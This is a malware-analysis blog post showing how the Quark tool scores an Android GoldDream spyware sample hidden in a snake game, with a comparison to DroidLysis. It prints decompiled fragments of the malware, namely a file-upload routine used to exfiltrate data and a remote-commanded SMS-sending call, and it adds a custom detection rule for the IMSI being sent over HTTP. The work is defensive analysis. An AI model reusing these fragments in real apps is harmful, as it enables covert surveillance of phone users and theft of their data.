Quark is a recent Android reverse engineering tool I discovered through Pithus. It defines itself as a “malware scoring system”, although I personally rather use it for an overview of the sample.
Update Feb 11, 2020: I hadn’t understood correctly confidence percentage. So, I updated the part regarding a False Positive… which is not a False Positive actually! + Quark authors kindly invited me to join the Quark community.
Disclaimer: I am not an author of Quark. I am not a “Quark Expert” either, so I might have missed a few tricks. Since I wrote this article, the authors of Quark kindly asked me to join their community.
In this article, I am going to use it over a recent sample of Android/GoldDream (sha256 in the link), discovered around February 5, 2021. The malware is easy to reverse, and injected inside the classic game of snake. It spies phone calls and SMS messages, and exfiltrates them to a remote server. This precise sample is inoperative, crashes quickly after it is launched and unable to initiate its malicious task (but no doubt malware authors will fix this soon).
Overview with Quark
I assume you have already installed Quark’s engine (if not, it is really simple), and downloaded the default Quark rules (automatic during the first run). To get an overview of the sample, use option “-s” (summary): quark -s -a sample.apk -r ./quark-rules
I find the classification “Moderate Risk” is a bit ironic 😏, for a sample which is absolutely malicious, but that’s (IMHO) the limits of any malware scoring system (sidenote: my personal experience with our former SherlockDroid is that all malware scoring systems assign higher risks to spyware or RAT because they trigger many malicious behaviors).
Then, there is a list of “crime” rules detected with a given percentage of confidence. It is possible to filter the output above a given percentage threshold with option -t. We’ll see however we can miss important behaviors that way.
Crime rules
This is a wonderful and innovative idea the authors of Quark had. A “crime” (i.e a malicious behavior of the sample) can be defined by a combination of permissions and calls to the Android API. This opens up for detection of more realistic situations. For example, querying the IMSI (subscriber identifier — private) is one thing, but if the malware doesn’t do anything with it, it is of no importance. Now, if the malware gets the IMSI and logs it to a file, or sends it over HTTP, this is completely different and dangerous. The combination is far more powerful.
Sorting out crime rules
Let’s go back to our sample and detail the list of 100% — confident crime it exposes. Who does those crimes? I use option “-c” for that.
Many crimes are committed by advertising kits. While tracking geographic location is a privacy issue, possibly even an ethical issue, it is (generally) not malicious (unless you are personally being tracked e.g for political or religious reasons, but that’s not what AdMob does). So, we can rule those out.
AFAIK, Quark does not provide an easy way to find the rule corresponding to a crime, so I simple grep Quark rules for the label:
Rule 00089.json
is the combination of calling URL.openConnection
and HttpURLConnection.getInputStream
. I decompile the code at com.sjhi.client.e;a
. In this particular case, the crime rule misses the point: the method is uploading a file to a remote URL — this is what’s important — while actually it only reads the InputStream
to handle a possible error from server’s end.
HttpURLConnection httpurlconnect = (HttpURLConnection)new URL(url).openConnection();
...httpurlconnect.setRequestProperty("Content-Type", "multipart/form-data;boundary=******");
DataOutputStream dos = new DataOutputStream(httpurlconnect.getOutputStream());
dos.writeBytes("--******\r\n");
dos.writeBytes("Content-Disposition: form-data; name=\"file\"; filename=\"" + filename.substring(filename.lastIndexOf("/") + 1) + "\"" + "\r\n");
dos.writeBytes("\r\n");
FileInputStream fis = new FileInputStream(filename);
byte[] file_contents = new byte[0x2000];
while(true) {
int nread = fis.read(file_contents);
if(nread == -1) {
fis.close();
dos.writeBytes("\r\n");
dos.writeBytes("--******--\r\n");
dos.flush();
InputStream is = httpurlconnect.getInputStream();
String resp = new BufferedReader(new InputStreamReader(is, "utf-8")).readLine();
System.out.println(resp);
dos.close();
is.close();
return;
}
dos.write(file_contents, 0, nread);
}
We move on to other detected rules.
The crime was not clear to me, so I inspected the corresponding code.
This clarifies it! This piece of code is calling a given phone number! A pity Quark rules can only integrate API calls and not arguments, because the intent android.intent.action.CALL
is very important here. Similarly below, the intent android.intent.action.DELETE
is used to delete an application based on its name.
We continue analysis. Several crimes are committed by zjReceiver
. You won’t need much experience to guess the malware is implementing a call and SMS receiver.
Finally, let’s investigate the last series of 100% confident crimes.
The decompiled code of zjService;e
, below, shows a combination of URL.openConnection() + HttpURLConnection.getInputStream()
(rule 89), URL.openConnection() + InputStream.read()
(rule 94), HttpURLConnection.getInputStream() + InputStream.read()
(rule 108). Those 3 rules are a bit redundant, to be honest (I don’t think we need more than 2).
The malware sends SMS messages
As I briefly mentioned earlier, you will miss things if you only consider 100% confident rules. For example, I searched rules concerning sending SMS. Quark considers :
- Get sender’s address and send SMS 60% (rule 70)
- Send SMS 20%
- Check if successfully sending out SMS 60%
Currently, I have no idea how to find out which code methods trigger this rule. I supposed option “-c” with threshold “-t 60” would work but it didn’t (is it a bug?). So, we have to do that manually — it isn’t difficult. I used DroidLysis, there is a rule for sendTextMessage
and the report provides code location: google/com/sjhi/client/zjService
. It is used in a single spot in that class:
SmsManager v0 = SmsManager.getDefault();
try {
v0.sendTextMessage(destnumber, null, body, null, null);
return "ok";
}
This method is called in a single case: when the malware processes an incoming command whose command identifier is 1.
The malware leaks the victim’s IMSI
Similarly, several IMSI quark rules are triggered like “Get the IMSI and network operator name”, “Get the ISO country code and IMSI” (I don’t see the point in those two combinations), or more interesting “Write the IMSI number into a file”. I search which part of the code gets the IMSI: again in google/com/sjhi/client/zjService
With my decompiler, I search where zjService.imsi
is used.
In a certain way, we are lucky, because the IMSI is only used in 3 places:
- Initialized in the
zjService
constructor - In the registration method. See above in a previous paragraph, I mentioned the IMSI is being sent by HTTP to the remote server
- Retrieved in the method I renamed as
getPhoneInfos
. This is writing the IMSI, not reading it.
So, where is the IMSI written to a file??? Nowhere.
Edit Feb 11, 2021. At first, I basically classified this as a False Positive, but Quark authors clarified the confidence percentage (see issue) and now things are clear. 80% actually precisely means that somewhere in the code we have getSubscriberId()
and later FileOutputStream.write()
but that we are not writing the IMSI (otherwise, confidence would be 100%). So, this is not a False Positive, but a bad understanding of confidence from me.
Creating our own IMSI rule
Earlier I however said the IMSI is sent over HTTP. There is no rule (yet) for that, so I can add my own. This will be the sequence of getSubscriberId()
+ URL.openConnection()
. Note however that, to my understanding, this rule can generate False Positives, where the combination is called, but it’s not the IMSI that is sent over the HTTP connection.
{
“crime” : “Send IMSI over Internet”,
“x1_permission”: [“android.permission.INTERNET”],
“x2n3n4_comb”: [
{
“class”: “Landroid/telephony/TelephonyManager;”,
“method”: “getSubscriberId”,
“descriptor”: “()Ljava/lang/String;”
},
{
“class” : “Ljava/net/URL;”,
“method” : “openConnection”,
“descriptor” : “()Ljava/net/URLConnection;”
}
],
“yscore”: 1,
“label”: [“phone”]
}
This rule works and gets detected with 100% confidence.
Summary
- All bugs have been reported to Quark authors, and they have been very reactive, already starting to fix some 😃
- I have shared my rules, for Quark authors to add them to their Quark rules repository.
- All rules don’t have the same importance. IMHO, querying the IMEI number is not an important rule for malware. What’s important is what you do with that IMEI. Unfortunately, AFAIK, Quark is unable to taint and follow values. (to be confirmed).
- Who triggers a given rule is important information: crimes which concern legitimate ad kits, stats SDK, crashlytics etc can be pruned.
- Do not consider only 100% confidence rules, or you’ll miss important malicious behavior
- Writing rules is quite easy, but I’d love to be able to specify given arguments for some methods. For example, is a given intent created with
android.intent.action.CALL
?
Comparing Quark and DroidLysis
Quark and DroidLysis are both excellent tools for an overview of a sample. I’ll compare them. I’ll try to be as fair as possible, knowing that I am the author of DroidLysis 😏.
Quark and DroidLysis see reality from a different angle. So, which one should you use: Quark or DroidLysis? The answer is (nearly) always the same when it comes to tools: use the one you are most familiar with. Even if both Quark and DroidLysis have drawbacks, with experience and second sense, you can overcome them. I have used DroidLysis for years. The detection rules are simple, and merely at reading the report, I get a feeling about the sample “hmm, this looks like a packed botnet” etc. It is certainly the same for Quark.
— cryptax